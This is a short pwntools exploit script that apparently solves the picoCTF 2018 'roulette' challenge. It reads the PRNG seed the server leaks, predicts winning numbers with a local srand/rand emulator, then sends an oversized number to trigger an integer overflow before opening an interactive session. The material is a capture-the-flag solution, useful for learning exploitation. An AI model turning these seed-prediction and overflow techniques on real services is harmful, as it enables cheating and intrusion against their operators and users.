#!/usr/bin/python
from pwn import *
import re

HOST = '2018shell2.picoctf.com'
PORT = 26662

# conn = process("./roulette")
conn = remote(HOST, PORT)
emul = process("./emul")

# Get a seed for rand()
# this read useless in local
conn.read()     # why actual connection needs one more read..?
welcom_string = conn.read()
print welcom_string
seed = re.findall("[0-9]+", welcom_string)[0]
print "seed is : " + seed

# emulating srand function's behaviour
emul.read()
emul.sendline(seed)
win_list = list()
for i in range(1, 4) :
    win_list.append(int(emul.readline().replace("\n", "")))

# win for 3 times
for win in win_list :
    conn.sendline("2")
    conn.sendline(str(win))

# Now, using overflow!
conn.sendline("2158743023")
conn.sendline("3")

conn.interactive()